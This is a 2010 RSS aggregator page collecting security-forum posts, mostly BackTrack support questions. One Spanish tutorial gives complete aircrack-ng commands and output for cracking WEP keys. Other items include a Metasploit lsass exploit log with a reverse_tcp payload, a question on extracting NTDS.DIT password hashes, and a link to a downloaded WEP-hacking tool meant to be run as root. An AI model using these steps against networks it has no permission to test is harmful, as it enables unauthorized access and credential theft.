RSS Feed » February 4, 2010

• Home
• Portal
• Forums
• Search
• Admin

13718 items (89 unread) in 18 feeds

• security-focus (8 unread)
• secunia
• darkc0de (7 unread)
• remote-exploit (15 unread)
• darknet (2 unread)
• milw0rm
• hack-a-day (11 unread)
• register (13 unread)
• packetstorm-tools (7 unread)
• packetstorm-exploits (10 unread)
• packetstorm-headlines (12 unread)
• packetstorm-misc (3 unread)
• kernel-fun
• sophos-security (1 unread)
• sophos-top-viruses
• carnal0wnage
• securiteam
• wirevolution

• February 04, 2010
• 23:04

  how to root?

   » ‎ darkc0de
  how to root?
• 23:04

  how to root?

   » ‎ darkc0de
  how to root?

• 23:00

  [Tutorial]Escaneo de un sistema con bt4

   » ‎ remote-exploit

  Tags:  Guias y Tutoriales  

  Escaneo de un sistema con bt4
  En este documento hago la explicacion de algunas de las diferentes formas que hay para escanear un sistema con backtrack 4, los temas que trataremos seran:
  
  Escaneo de un sistema con bt4
  
  [*]Escaneo de puertos
  [*]Escaneo de Servicios
  [*]Identificacion de banners
  [*]Identificacion del sistema operativo
  [*]Fingerprinting
  [*]Escaneo de vulnerabilidades
  
  Bueno sin mas espero que les guste.
  
  Descarga
  
  
  [*]RapidShare ------> hxxp://rapidshare.com/files/346098751/Escaneo_de_un_sistema_con_bt4.pdf.html
  
  [*]Filedropper ------>hxxp://(www).filedropper.com/escaneodeunsistemaconbt4
  Saludos
• 23:00

  [Tutorial]Escaneo de un sistema con bt4

   » ‎ remote-exploit

  Tags:  Guias y Tutoriales  

  Escaneo de un sistema con bt4
  En este documento hago la explicacion de algunas de las diferentes formas que hay para escanear un sistema con backtrack 4, los temas que trataremos seran:
  
  Escaneo de un sistema con bt4
  
  [*]Escaneo de puertos
  [*]Escaneo de Servicios
  [*]Identificacion de banners
  [*]Identificacion del sistema operativo
  [*]Fingerprinting
  [*]Escaneo de vulnerabilidades
  
  Bueno sin mas espero que les guste.
  
  Descarga
  
  
  [*]RapidShare ------> hxxp://rapidshare.com/files/346098751/Escaneo_de_un_sistema_con_bt4.pdf.html
  
  [*]Filedropper ------>hxxp://(www).filedropper.com/escaneodeunsistemaconbt4
  Saludos

• 22:48

  Dear Adobe: It's time for security rehab

   » ‎ register
  This is an intervention

  Comment  The stories about Adobe software keep coming, and the news hasn't been good. Critical bugs in Reader and Flash have come under real-world, zero-day attacks so many times in the past year that the exploits almost seem routine.…

  Web threats: Why conventional protection doesn't work

• 22:10

  extracting password hashes from NTDS.DIT on MS DC?

   » ‎ remote-exploit

  Tags:  Pentesting  

  Hello all,
  My management has approved an audit of AD accounts looking for weak passwords
  
  Since I have the server and backups I would have access to NTDS.DIT file, is there away to extract password hashes directly from it? I'm trying to avoid running LC or fgdump on the Active Directory domain controller.
  
  I've searched high and low and have not been able to find an answer.

• 21:34

  what's hash type

   » ‎ darkc0de
  what's hash type
• 21:34

  Auto CC - Checker PHP!

   » ‎ darkc0de
  Auto CC - Checker PHP!

• 21:26

  Ataque a redes inalambricas con cifrado WEP

   » ‎ remote-exploit

  Tags:  Soporte en Wireless  

  Buenas Noches a todos,
  
  El Porque de Este Tutorial (unicamente para principiantes, los demas paciencia jeje)
  
  Estaba hoy en la oficina pensando en que debia contribuir a la comunidad que tanto me ha ayudado a mi, asi que decidi hacer este mini tutorial para las personas a las que le interese todo lo que es seguridad de redes inalambricas en general.
  
  En esta oportunidad voy a cubrir unicamente rasgos muy generales de la suite que viene por defecto con Backtrack 4 (aircrack-ng) unicamente ya que cuando hablamos de seguridad de wireless pues es un tema bastante extenso y ustedes deberan leer y buscar informacion de lo que mas le interese. :D
  
  Datos Legales
  
  Este documento es escrtito unicamente con el proposito de orientar a las personas a que realizen las mejores practicas de seguridad posible, del mismo modo que esta destinado a propositos meramente educacionales y por ningun motivo una persona deberia entrar a una red o sistema computacional sin el debido permiso.
  
  Que es este tool del que voy a hablar:
  
  Airmon-ng: Es una herramienta que permite poner nuestras tarjetas inalambricas en modo monitor para de esta manera poder hacer "tareas" que de otra forma no serian posibles.
  
  Aireplay-ng: es una herramienta que nos permite inyectar paquetes a un access point (AP) en este caso un router, para que la capturacion de datos no tome siglos.
  
  Airodump-ng: es una herramienta que nos permite hacer un "dump" de los paquetes que son enviados a travez del AP, capturaarlos y analizarlos.
  
  Aircrack-ng: la palabra lo dice todo, es la herramienta que se usa para crackear si ese tesmino aplica, las claves de dichas redes dependiendo de cual sea la situacion.
  
  Ahora que ya tenemos idea de que es lo que vamos a usar vamos a setear todo.
  
  Que necesitamos:
  
  Una laptop con BT4 (live cd o instalado)
  Un AP (router)
  
  
  Y bien, supongamos que nuestra red se llama conejo, tiene "encriptacion wep" y queremos entrar. ahora que hacemos???
  
  Tenemos que hacer varias cosas como lo son:
  
  - Ver que tarjeta tenemos
  - "bajarla" para poder hacer cambios en la forma en que trabaja.
  - cambiar nuestra mac address por seguridad
  - activar modo monitor en la tarjeta
  
  Aqui esta una ides de como se debe hacer, al menos a mi me funciona de esta forma :)
  
  root@infected:~# airmon-ng
  
  
  Interface Chipset Driver
  
  wlan0 Atheros ath5k - [phy0]
  mon0 Atheros ath5k - [phy0]
  
  root@infected:~# airmon-ng stop wlan0
  
  
  Interface Chipset Driver
  
  wlan0 Atheros ath5k - [phy0]
  (monitor mode disabled)
  mon0 Atheros ath5k - [phy0]
  
  root@infected:~# ifconfig wlan0 down
  root@infected:~# macchanger --mac 00:11:22:33:44:55 wlan0
  Current MAC: 00:11:22:33:44:55 (Cimsys Inc)
  ERROR: Can't change MAC: interface up or not permission: Device or resource busy
  root@infected:~# ifconfig wlan0 down
  root@infected:~# macchanger --mac 00:11:22:33:44:55 wlan0
  Current MAC: 00:11:22:33:44:55 (Cimsys Inc)
  Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)
  It's the same MAC!!
  root@infected:~# airmon-ng start wlan0
  
  
  Found 2 processes that could cause trouble.
  If airodump-ng, aireplay-ng or airtun-ng stops working after
  a short period of time, you may want to kill (some of) them!
  
  PID Name
  10859 wpa_supplicant
  10888 dhclient
  Process with PID 10859 (wpa_supplicant) is running on interface wlan0
  Process with PID 10888 (dhclient) is running on interface wlan0
  
  
  Interface Chipset Driver
  
  wlan0 Atheros ath5k - [phy0]
  (monitor mode enabled on mon1)
  mon0 Atheros ath5k - [phy0]
  
  root@infected:~#
  
  Ahora tenemos que "monitorear" los paquetes que van destinados al AP con lo siguiente
  
  root@infected:~# airodump-ng mon0
  
  CH 9 ][ Elapsed: 8 s ][ 2010-02-04 20:35
  
  BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
  
  00:03:2F:28:FD:74 -27 4 2 0 1 54 . WEP WEP conejo
  
  BSSID STATION PWR Rate Lost Packets Probes
  
  (not associated) 00:24:2B:B4:6D:6D -75 0 - 1 12 9
  00:03:2F:28:FD:74 00:11:22:33:44:55 0 0 - 1 0 7 conejo
  
  Y ahora "agarrar" esos paquetes con lo siguiente:
  
  root@infected:~# airodump-ng -c 1 -w conejo --bssid 00:03:2F:28:FD:74 mon0
  
  
  CH 1 ][ Elapsed: 16 s ][ 2010-02-04 20:37
  
  BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
  
  00:03:2F:28:FD:74 -26 0 16 4 0 1 54 . WEP WEP conejo
  
  BSSID STATION PWR Rate Lost Packets Probes
  
  00:03:2F:28:FD:74 00:11:22:33:44:55 0 54 - 1 0
  
  Ahora, si no sentamos a esperar quela "DATA" llegue a unos 15000 paquetes (minimo requerido para encontrar la clave web" entonces podremos tardar horas en eso, es por eso que aqui viene nuestro querido aireplay-ng a la jugada....
  
  Asi que lo que tenemos que hacer es lo siguiente: inyectar paquetes al AP para que los IV's (initialization vectors) que es donde se encuentra la clave se generen mas rapido, haciendo lo siguiente:
  
  root@infected:~# aireplay-ng -1 0 -a 00:03:2F:28:FD:74 -h 00:11:22:33:44:55 -e conejo mon0
  The interface MAC ( 00:11:F5:78:C0:D0 ) doesn't match the specified MAC (-h).
  ifconfig mon0 hw ether 00:11:22:33:44:55
  20:45:02 Waiting for beacon frame (BSSID: 00:03:2F:28:FD:74) on channel 1
  
  20:45:02 Sending Authentication Request (Open System) [ACK]
  20:45:02 Authentication successful
  20:45:02 Sending Association Request [ACK]
  20:45:02 Association successful :-) (AID: 1)
  
  root@infected:~# aireplay-ng -3 -b 00:03:2F:28:FD:74 -h 00:11:22:33:44:55 mon0
  The interface MAC (00:11:F5:78:C0:D0) doesn't match the specified MAC (-h).
  ifconfig mon0 hw ether 00:11:22:33:44:55
  20:47:00 Waiting for beacon frame (BSSID: 00:03:2F:28:FD:74) on channel 1
  
  Aqui tenemos que esperar hasta que la data llegue hasta minimo 15000 paquetes para poder crackearlo...
  
  
  CH 1 ][ Elapsed: 4 mins ][ 2010-02-04 21:01
  
  BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
  
  00:03:2F:28:FD:74 -24 46 247 78575 276 1 54 . WEP WEP conejo
  
  BSSID STATION PWR Rate Lost Packets Probes
  
  00:03:2F:28:FD:74 00:11:22:33:44:55 0 48 - 1 114686 194709 conejo
  ^C
  root@infected:~#
  
  Despues de esto, que tensmos suficientes IVS or DATA entonces vamos a lo ultimo ya que es crackear la password.
  
  root@infected:~# aircrack-ng -n 128 -b00:03:2F:28:FD:74 conejo-01.cap
  
  Aircrack-ng 1.0 r1645
  
  
  [00:02:32] Tested 1376257 keys (got ********* IVs)
  
  KB depth byte(vote)
  0 0/ 1 FB(256512) FA(208640) 0A(202240) 16(201984) B5(201984)
  1 0/ 1 00(400384) F8(311552) F7(272640) F6(208896) 07(202240)
  2 0/ 1 FC(597760) F3(335616) F4(310528) F2(272384) 03(202240)
  3 0/ 1 FB(793856) ED(335360) EE(334336) F3(256256) EF(232448)
  4 0/ 1 FA(932608) E7(333568) ED(320000) E8(318976) E9(224000)
  5 0/ 1 F9(1007104) E6(381952) E0(333056) E1(317696) E7(255488)
  6 0/ 1 F8(1019648) DE(395776) D8(380160) DF(317184) D9(316416)
  7 0/ 1 F7(1016064) D5(394496) D6(379392) CF(378112) D7(318720)
  8 0/ 1 F6(1012736) CB(393472) CC(392960) CD(380672) C5(376576)
  9 0/ 22 BD(260608) 82(260096) 86(260096) 88(259840) 8A(259840)
  10 0/ 1 F6(997632) FA(392448) FB(391936) 5A(391168) F9(389888)
  11 0/ 1 0F(994304) 15(393728) 13(391936) 25(391424) 14(390912)
  12 0/ 1 24(884724) 9E(366844) 9C(365888) 9D(365300) 9B(363208)
  Starting PTW attacks with 78575 ivs.
  KEY FOUND! backtracking
  Decrypted Correctly: 100%
  
  root@infected:~#
  
  Y esto seria todo por parte de WEP...
  
  
  Se aceptan correcciones...Saludos y espero este material haya servido... El siguiente sera el de WPA.....y que conste, es mi primera vez... :)
• 21:09

  |Metasploit| ms04_011_lsass

   » ‎ remote-exploit

  Tags:  Support logiciel  

  Bonjour, je vais vous décrire mon problème du mieu que je peux:
  
  je roule un Windows Server 2003 Entreprise Edition fraîchement installer en VM.
  
  en essayant de lancer l'exploit ms04_011_lsass avec le payload windows/meterpreter/reverse_tcp ou bind_tcp ou peu importe le payload j'imagine, j'obtien le message suivant:
  
  
  [*] Started reverse handler on port 4444
  [*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.58.138[lsarpc]...
  [*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.58.138[lsarpc]...
  [*] Getting OS information...
  [*] No target is available for Windows Server 2003 3790
  [*] Exploit completed, but no session was created.
  
  
  le message que je ne comprend pas est en jaune. Que signifit le 3790?
  
  je vais etre franc avec vous je n'ai pas encore chercher de solution et je suis venu directement sur le forum, désolé si je vous occasionne une perte de temp.
  
  Je voudrais savoir, si possible, ou simplement m'éclairecir, comment faire pour rendre cet exploit possible?
• 20:23

  Intel pro wirless problem

   » ‎ remote-exploit

  Tags:  BackTrack 4 Software related Issues  

  I am trying to follow online instructions from all over to install the intel pro wirless driver in to BT4.
  
  I am trying to currently install the Ieee802.11 modual and i get this.
  
  root@bt:~/ieee80211-1.2.18# make
  Checking in /lib/modules/2.6.30.9 for ieee80211 components...
  make -C /lib/modules/2.6.30.9/build M=/root/ieee80211-1.2.18 modules
  make[1]: Entering directory `/usr/src/linux-source-2.6.30.9'
  
  WARNING: Symbol version dump /usr/src/linux-source-2.6.30.9/Module.symvers
  is missing; modules will have no dependencies and modversions.
  
  CC [M] /root/ieee80211-1.2.18/ieee80211_module.o
  /root/ieee80211-1.2.18/ieee80211_module.c: In function 'ieee80211_init':
  /root/ieee80211-1.2.18/ieee80211_module.c:268: error: 'proc_net' undeclared (first use in this function)
  /root/ieee80211-1.2.18/ieee80211_module.c:268: error: (Each undeclared identifier is reported only once
  /root/ieee80211-1.2.18/ieee80211_module.c:268: error: for each function it appears in.)
  /root/ieee80211-1.2.18/ieee80211_module.c: In function 'ieee80211_exit':
  /root/ieee80211-1.2.18/ieee80211_module.c:297: error: 'proc_net' undeclared (first use in this function)
  make[2]: *** [/root/ieee80211-1.2.18/ieee80211_module.o] Error 1
  make[1]: *** [_module_/root/ieee80211-1.2.18] Error 2
  make[1]: Leaving directory `/usr/src/linux-source-2.6.30.9'
  make: *** [modules] Error 2
• 19:24

  how to install flash player

   » ‎ remote-exploit

  Tags:  BackTrack 4 General Support  

  this wasent the question i was going to ask. i was going to ask why my wifi wasent working when it worked in bt4 pre final but as i was typing the question i remembered my wifi led never changed color with pre final so i tested it thats working fine i figured out on my own how to get the ethernet working.
  
  so now my question is how do i install flash player 10 for youtube videos
  theres a drop down list that says taz apt other linux filetypes ect
  im not sure which type to pick
  do i need to have bt4 installed for it to even download the file
  
  and if so whats the easiest way to dual boot with windows 7
  
  windows 7 will be on the 140 gb partion
  and bt4 on the 10 gb partion
  
  
  thanks for your time and effort in posting a reply
  
  i seem to have forgotten alot i have learned which hopefully ill remember by exploring this great new final release
• 19:07

  Vista Admin password

   » ‎ remote-exploit

  Tags:  Newbie Area  

  Locked out of vista (SP2) administrator account, can log on to box via standard user account.
  
  Locked out, truecrypt full OS encryption
  
  Any help on moving forward with this?

• 18:33

  Multi SMTP CHECKER

   » ‎ darkc0de
  Multi SMTP CHECKER
• 18:33

  ESET Nod32 (Taiwan)

   » ‎ darkc0de
  ESET Nod32 (Taiwan)
• 17:03

  very nice job 4 you i need help

   » ‎ darkc0de
  very nice job 4 you i need help

• 16:33

  Acceso a un sistema con bt4

   » ‎ remote-exploit

  Tags:  Guias y Tutoriales  

  Acceso a un sistema con bt4
  En este documento explico como acceder a un sistema partiendo de la informacion que recopilamos en los doc de:
  
  [*] Reconocimiento de un sistema con bt4
  [*] Escaneo de un sistema con bt4
  
  bueno les pido excusas por mi demora en subir este siguiente doc pero por falta de tiempo y cuestiones personales me demore un poco mas. bueno sin mas espero que les guste.
  
  [*]Rapidshare ------>hxxp://rapidshare.com/files/345860558/Acceso_a_un_sistema_con_bt4.pdf.html
  [*]filedropper -----> hxxp://(www).filedropper.com/accesoaunsistemaconbt4
  Saludos
• 16:33

  Acceso a un sistema con bt4

   » ‎ remote-exploit

  Tags:  Guias y Tutoriales  

  Acceso a un sistema con bt4
  En este documento explico como acceder a un sistema partiendo de la informacion que recopilamos en los doc de:
  
  [*] Reconocimiento de un sistema con bt4
  [*] Escaneo de un sistema con bt4
  
  bueno les pido excusas por mi demora en subir este siguiente doc pero por falta de tiempo y cuestiones personales me demore un poco mas. bueno sin mas espero que les guste.
  
  [*]Rapidshare ------>hxxp://rapidshare.com/files/345860558/Acceso_a_un_sistema_con_bt4.pdf.html
  [*]filedropper -----> hxxp://(www).filedropper.com/accesoaunsistemaconbt4
  Saludos
• 15:52

  Windows 7 won't boot after installing BackTrack on MacBook Pro

   » ‎ remote-exploit

  Tags:  BackTrack 4 General Support  

  About my setup:
  MacBook Pro Santa Rosa (mid 2007) 2.4 GHz Core 2 Duo
  
  When I got my new 500gb hard drive, I partitioned it with 420gb for OS X, 40gb for Windows, and 40gb for Linux.
  
  I then installed rEFIt and Windows 7 which all worked properly.
  
  Last night I installed BackTrack 4 Pre-Final, resizing the Linux partition to 38gb to create a 2gb swap. Once the installation was done, BackTrack worked fine, and OS X still worked fine. Though when selecting Windows or Linux from rEFIt, I get the same Grub boot picker screen. First question: how can I get rid of this?
  
  Second and more important problem: When I choose Windows from the Grub menu, I instantly get a Windows screen telling me there is an error with BootBCD and that "an error occured while attempting to read the boot configuration data."
  
  It would seem grub did something to mess up Windows' boot loader. When I insert my Windows 7 disc to try and repair it, the disc tells me something about it not being compatible with the OS installed.
  
  Any ideas as to what I can do to get Windows to boot?
• 15:37

  BT4 black screen and freeze.

   » ‎ remote-exploit

  Tags:  BackTrack 4 General Support  

  HI mate,
  
  When i run for a long time the live cd, its suddenly quit from the programs and show a black screen where sometimes is freeze (like a critical error).
  Last time it happen when i trying to update the exploit database is that playing any role..
  
  Can anyone help me?

• 15:32

  [video] ms08_067_netapi exploit

   » ‎ darkc0de
  [video] ms08_067_netapi exploit
• 15:32

  [video] sslstrip

   » ‎ darkc0de
  [video] sslstrip
• 15:32

  Yahoo! :-??

   » ‎ darkc0de
  Yahoo! :-??

• 15:32

  Bugtraq: [SECURITY] [DSA 1992-1] New chrony packages fix denial of service

   » ‎ security-focus
  [SECURITY] [DSA 1992-1] New chrony packages fix denial of service

• 15:25

  Hack WEP easier

   » ‎ remote-exploit

  Tags:  BackTrack 4 Software related Issues  

  I made a prog which solves the problem of typing and tping in order to hack a WEP.I've heard about spoonwep etc but I've heard about bugs in backtrack 4.Of course this prog is much less important than spoonwep but it becomes extremely useful sometimes.
  rapidshare link:
  rapidshare.com/files/345976934/hak.tar
  
  Open a terminal,go into /hak directory and type "make" without the brackets as root.Type hak as root as well.